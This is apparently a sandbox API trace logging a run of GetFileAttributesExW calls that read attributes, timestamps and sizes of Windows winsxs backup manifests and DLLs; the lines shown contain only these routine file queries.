	[0101.296] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-usermodepowerservice_31bf3856ad364e35_6.1.7600.16385_none_c45423039a851b8e.manifest" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-usermodepowerservice_31bf3856ad364e35_6.1.7600.16385_none_c45423039a851b8e.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12825688 | out: lpFileInformation=0x12825688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9cfbcc, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xc9cbfeb3, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xc9ce5e9c, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0x2f44)) returned 1
	[0101.297] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-useros_31bf3856ad364e35_6.1.7600.16385_none_33b850cabb3eba19.manifest" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-useros_31bf3856ad364e35_6.1.7600.16385_none_33b850cabb3eba19.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128256d8 | out: lpFileInformation=0x128256d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e033fe9, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xf78bc397, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xf78e2380, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0x42e)) returned 1
	[0101.297] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-uxtheme_31bf3856ad364e35_6.1.7600.16385_none_0c2e36cd54a163b4.manifest" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-uxtheme_31bf3856ad364e35_6.1.7600.16385_none_0c2e36cd54a163b4.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12825728 | out: lpFileInformation=0x12825728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d95d947, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xc7299837, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xc72e5809, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0xe44)) returned 1
	[0101.297] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-uxtheme_31bf3856ad364e35_6.1.7600.16385_none_0c2e36cd54a163b4_uxtheme.dll_9f6cda06" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-uxtheme_31bf3856ad364e35_6.1.7600.16385_none_0c2e36cd54a163b4_uxtheme.dll_9f6cda06"), fInfoLevelId=0x0, lpFileInformation=0x12825778 | out: lpFileInformation=0x12825778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d95d947, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xc72e5809, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xc737d7ad, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0x3c000)) returned 1
	[0101.297] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-virtualdiskservice_31bf3856ad364e35_6.1.7600.16385_none_d1346e9948c064db.manifest" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-virtualdiskservice_31bf3856ad364e35_6.1.7600.16385_none_d1346e9948c064db.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128257c8 | out: lpFileInformation=0x128257c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dcc8c98, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xe22c9297, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xe22c9297, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0xd073)) returned 1
	[0101.297] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-virtualdiskservice_31bf3856ad364e35_6.1.7600.16385_none_d1346e9948c064db_vds_ps.dll_fed45dfd" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-virtualdiskservice_31bf3856ad364e35_6.1.7600.16385_none_d1346e9948c064db_vds_ps.dll_fed45dfd"), fInfoLevelId=0x0, lpFileInformation=0x12825818 | out: lpFileInformation=0x12825818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dceed6f, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xe22c9297, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xe22ef280, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0xae00)) returned 1
	[0101.297] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-vssapi_31bf3856ad364e35_6.1.7601.17514_none_3d618e11ccc1f78a.manifest" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-vssapi_31bf3856ad364e35_6.1.7601.17514_none_3d618e11ccc1f78a.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12825868 | out: lpFileInformation=0x12825868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa17c25b5, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf30067c0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf30067c0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2adc)) returned 1
	[0101.297] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-vssapi_31bf3856ad364e35_6.1.7601.17514_none_3d618e11ccc1f78a_eventcls.dll_09ce86ba" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-vssapi_31bf3856ad364e35_6.1.7601.17514_none_3d618e11ccc1f78a_eventcls.dll_09ce86ba"), fInfoLevelId=0x0, lpFileInformation=0x128258b8 | out: lpFileInformation=0x128258b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa180e876, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf30067c0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf302c920, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4200)) returned 1
	[0101.298] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-vssapi_31bf3856ad364e35_6.1.7601.17514_none_3d618e11ccc1f78a_vssapi.dll_51f72c64" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-vssapi_31bf3856ad364e35_6.1.7601.17514_none_3d618e11ccc1f78a_vssapi.dll_51f72c64"), fInfoLevelId=0x0, lpFileInformation=0x12825908 | out: lpFileInformation=0x12825908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa18349d6, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf302c920, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf3052a80, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x113800)) returned 1
	[0101.298] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-vssapi_31bf3856ad364e35_6.1.7601.17514_none_3d618e11ccc1f78a_vsstrace.dll_85c64e53" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-vssapi_31bf3856ad364e35_6.1.7601.17514_none_3d618e11ccc1f78a_vsstrace.dll_85c64e53"), fInfoLevelId=0x0, lpFileInformation=0x12825958 | out: lpFileInformation=0x12825958*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1880c97, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf3052a80, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf3052a80, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xdc00)) returned 1
	[0101.298] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-w..nfrastructure-other_31bf3856ad364e35_6.1.7600.16385_none_6ace9e67456cc40b.manifest" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-w..nfrastructure-other_31bf3856ad364e35_6.1.7600.16385_none_6ace9e67456cc40b.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128259a8 | out: lpFileInformation=0x128259a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1de1f427, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xeba2b6f3, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xeba2b6f3, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0x130a)) returned 1
	[0101.298] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-w..nfrastructure-other_31bf3856ad364e35_6.1.7600.16385_none_6ace9e67456cc40b_winsockhc.dll_817ccaf3" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-w..nfrastructure-other_31bf3856ad364e35_6.1.7600.16385_none_6ace9e67456cc40b_winsockhc.dll_817ccaf3"), fInfoLevelId=0x0, lpFileInformation=0x128259f8 | out: lpFileInformation=0x128259f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1de454fe, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xeba9d6ae, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xeba9d6ae, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0x10c00)) returned 1
	[0101.298] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-w..nfrastructure-other_31bf3856ad364e35_6.1.7600.16385_none_6ace9e67456cc40b_ws2help.dll_2dd5d345" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-w..nfrastructure-other_31bf3856ad364e35_6.1.7600.16385_none_6ace9e67456cc40b_ws2help.dll_2dd5d345"), fInfoLevelId=0x0, lpFileInformation=0x12825a48 | out: lpFileInformation=0x12825a48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1de1f427, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xeba516dc, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xeba516dc, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0x1200)) returned 1
	[0101.298] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-w..nfrastructure-other_31bf3856ad364e35_6.1.7600.16385_none_6ace9e67456cc40b_wshelper.dll_5dfe9c7e" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-w..nfrastructure-other_31bf3856ad364e35_6.1.7600.16385_none_6ace9e67456cc40b_wshelper.dll_5dfe9c7e"), fInfoLevelId=0x0, lpFileInformation=0x12825a98 | out: lpFileInformation=0x12825a98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1de1f427, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xeba516dc, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xeba776c5, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0x3c00)) returned 1
	[0101.298] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-w..sition-coreservices_31bf3856ad364e35_6.1.7600.16385_none_98ddd70b016524a9.manifest" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-w..sition-coreservices_31bf3856ad364e35_6.1.7600.16385_none_98ddd70b016524a9.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12825ae8 | out: lpFileInformation=0x12825ae8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ffae80f, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x77826276, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x77826276, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xab0a)) returned 1
	[0101.299] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-w..sition-coreservices_31bf3856ad364e35_6.1.7600.16385_none_98ddd70b016524a9_sti.dll_d93e8a42" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-w..sition-coreservices_31bf3856ad364e35_6.1.7600.16385_none_98ddd70b016524a9_sti.dll_d93e8a42"), fInfoLevelId=0x0, lpFileInformation=0x12825b38 | out: lpFileInformation=0x12825b38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ffae80f, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x77826276, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x77826276, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x30c00)) returned 1
	[0101.299] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-w..sition-coreservices_31bf3856ad364e35_6.1.7600.16385_none_98ddd70b016524a9_wiatrace.dll_dfb4e972" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-w..sition-coreservices_31bf3856ad364e35_6.1.7600.16385_none_98ddd70b016524a9_wiatrace.dll_dfb4e972"), fInfoLevelId=0x0, lpFileInformation=0x12825b88 | out: lpFileInformation=0x12825b88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ffae80f, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x77826276, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x77826276, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3200)) returned 1
	[0101.299] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-webdavredir-clientonly_31bf3856ad364e35_6.1.7600.16385_none_3d8e419b43cad305.manifest" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-webdavredir-clientonly_31bf3856ad364e35_6.1.7600.16385_none_3d8e419b43cad305.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12825bd8 | out: lpFileInformation=0x12825bd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ffae80f, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x781aba87, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x781aba87, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1927)) returned 1
	[0101.299] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-win32k.resources_31bf3856ad364e35_6.1.7600.16385_en-us_b3ae596aac502e91.manifest" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-win32k.resources_31bf3856ad364e35_6.1.7600.16385_en-us_b3ae596aac502e91.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12825c28 | out: lpFileInformation=0x12825c28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ed88b6a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ae50902, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ae50902, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x94c)) returned 1
	[0101.299] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-win32k.resources_31bf3856ad364e35_6.1.7600.16385_en-us_b3ae596aac502e91_win32k.sys.mui_c0d34fe8" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-win32k.resources_31bf3856ad364e35_6.1.7600.16385_en-us_b3ae596aac502e91_win32k.sys.mui_c0d34fe8"), fInfoLevelId=0x0, lpFileInformation=0x12825c78 | out: lpFileInformation=0x12825c78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ed88b6a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ae50902, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ae50902, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3200)) returned 1
	[0101.299] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-win32k_31bf3856ad364e35_6.1.7600.16385_none_1f3d15b3e8989262.manifest" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-win32k_31bf3856ad364e35_6.1.7600.16385_none_1f3d15b3e8989262.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12825cc8 | out: lpFileInformation=0x12825cc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1db72509, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xd6a02272, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xd6a2825b, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0x1052)) returned 1
	[0101.299] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-wmi-core-svc_31bf3856ad364e35_6.1.7601.17514_none_092d6b9141f16aca.manifest" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-wmi-core-svc_31bf3856ad364e35_6.1.7601.17514_none_092d6b9141f16aca.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12825d18 | out: lpFileInformation=0x12825d18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7dd15b1, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf3c5f9f6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf3c85b57, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c9d)) returned 1
	[0101.300] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-wmi-core-svc_31bf3856ad364e35_6.1.7601.17514_none_092d6b9141f16aca_winmgmt.exe_8f8eb7b1" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-wmi-core-svc_31bf3856ad364e35_6.1.7601.17514_none_092d6b9141f16aca_winmgmt.exe_8f8eb7b1"), fInfoLevelId=0x0, lpFileInformation=0x12825d68 | out: lpFileInformation=0x12825d68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7eb5df3, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf3c85b57, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf3c85b57, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13200)) returned 1
	[0101.300] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-wmi-core-svc_31bf3856ad364e35_6.1.7601.17514_none_092d6b9141f16aca_wmiaprpl.dll_5d18a476" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-wmi-core-svc_31bf3856ad364e35_6.1.7601.17514_none_092d6b9141f16aca_wmiaprpl.dll_5d18a476"), fInfoLevelId=0x0, lpFileInformation=0x12825db8 | out: lpFileInformation=0x12825db8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7e69b32, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf3c85b57, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf3c85b57, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x15e00)) returned 1
	[0101.300] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-wmi-core-wbemcomn-dll_31bf3856ad364e35_6.1.7601.17514_none_6bf5ddbe6e32b8d7.manifest" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-wmi-core-wbemcomn-dll_31bf3856ad364e35_6.1.7601.17514_none_6bf5ddbe6e32b8d7.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12825e08 | out: lpFileInformation=0x12825e08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaab31965, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf47ae28b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf47ae28b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xbc8)) returned 1
	[0101.300] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-wmi-core-wbemcomn-dll_31bf3856ad364e35_6.1.7601.17514_none_6bf5ddbe6e32b8d7_wbemcomn.dll_e2337e3c" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-wmi-core-wbemcomn-dll_31bf3856ad364e35_6.1.7601.17514_none_6bf5ddbe6e32b8d7_wbemcomn.dll_e2337e3c"), fInfoLevelId=0x0, lpFileInformation=0x12825e58 | out: lpFileInformation=0x12825e58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaab7dc25, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf47ae28b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf47d43ec, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x58a00)) returned 1
	[0101.301] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-wmi-core.resources_31bf3856ad364e35_6.1.7600.16385_en-us_3b112a3415ba87ce.manifest" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-wmi-core.resources_31bf3856ad364e35_6.1.7600.16385_en-us_3b112a3415ba87ce.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12825ea8 | out: lpFileInformation=0x12825ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1eca3b14, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ac6059d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ac6059d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1022)) returned 1
	[0101.301] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-wmi-core.resources_31bf3856ad364e35_6.1.7600.16385_en-us_3b112a3415ba87ce_mofcomp.exe.mui_35badf56" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-wmi-core.resources_31bf3856ad364e35_6.1.7600.16385_en-us_3b112a3415ba87ce_mofcomp.exe.mui_35badf56"), fInfoLevelId=0x0, lpFileInformation=0x12825ef8 | out: lpFileInformation=0x12825ef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1eca3b14, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ac6059d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ac6059d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1a00)) returned 1
	[0101.301] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-wmi-core.resources_31bf3856ad364e35_6.1.7600.16385_en-us_3b112a3415ba87ce_mofd.dll.mui_793ef98d" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-wmi-core.resources_31bf3856ad364e35_6.1.7600.16385_en-us_3b112a3415ba87ce_mofd.dll.mui_793ef98d"), fInfoLevelId=0x0, lpFileInformation=0x12825f48 | out: lpFileInformation=0x12825f48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1eca3b14, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ac6059d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ac6059d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e00)) returned 1
	[0101.301] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-wmi-core.resources_31bf3856ad364e35_6.1.7600.16385_en-us_3b112a3415ba87ce_wmiutils.dll.mui_42583eaf" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-wmi-core.resources_31bf3856ad364e35_6.1.7600.16385_en-us_3b112a3415ba87ce_wmiutils.dll.mui_42583eaf"), fInfoLevelId=0x0, lpFileInformation=0x12825f98 | out: lpFileInformation=0x12825f98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1eca3b14, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ac6059d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ac6059d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400)) returned 1
	[0101.301] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft.windows.winhttp_31bf3856ad364e35_5.1.7601.17514_none_c519dbeb6e585715.manifest" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft.windows.winhttp_31bf3856ad364e35_5.1.7601.17514_none_c519dbeb6e585715.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1285c008 | out: lpFileInformation=0x1285c008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bdc0530, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf22a2be7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf22a2be7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xbe78)) returned 1
	[0101.301] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft.windows.winhttp_31bf3856ad364e35_5.1.7601.17514_none_c519dbeb6e585715_winhttp.dll_6cd72d6e" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft.windows.winhttp_31bf3856ad364e35_5.1.7601.17514_none_c519dbeb6e585715_winhttp.dll_6cd72d6e"), fInfoLevelId=0x0, lpFileInformation=0x1285c058 | out: lpFileInformation=0x1285c058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9be58ab1, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf22a2be7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf22c8d47, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x55c00)) returned 1
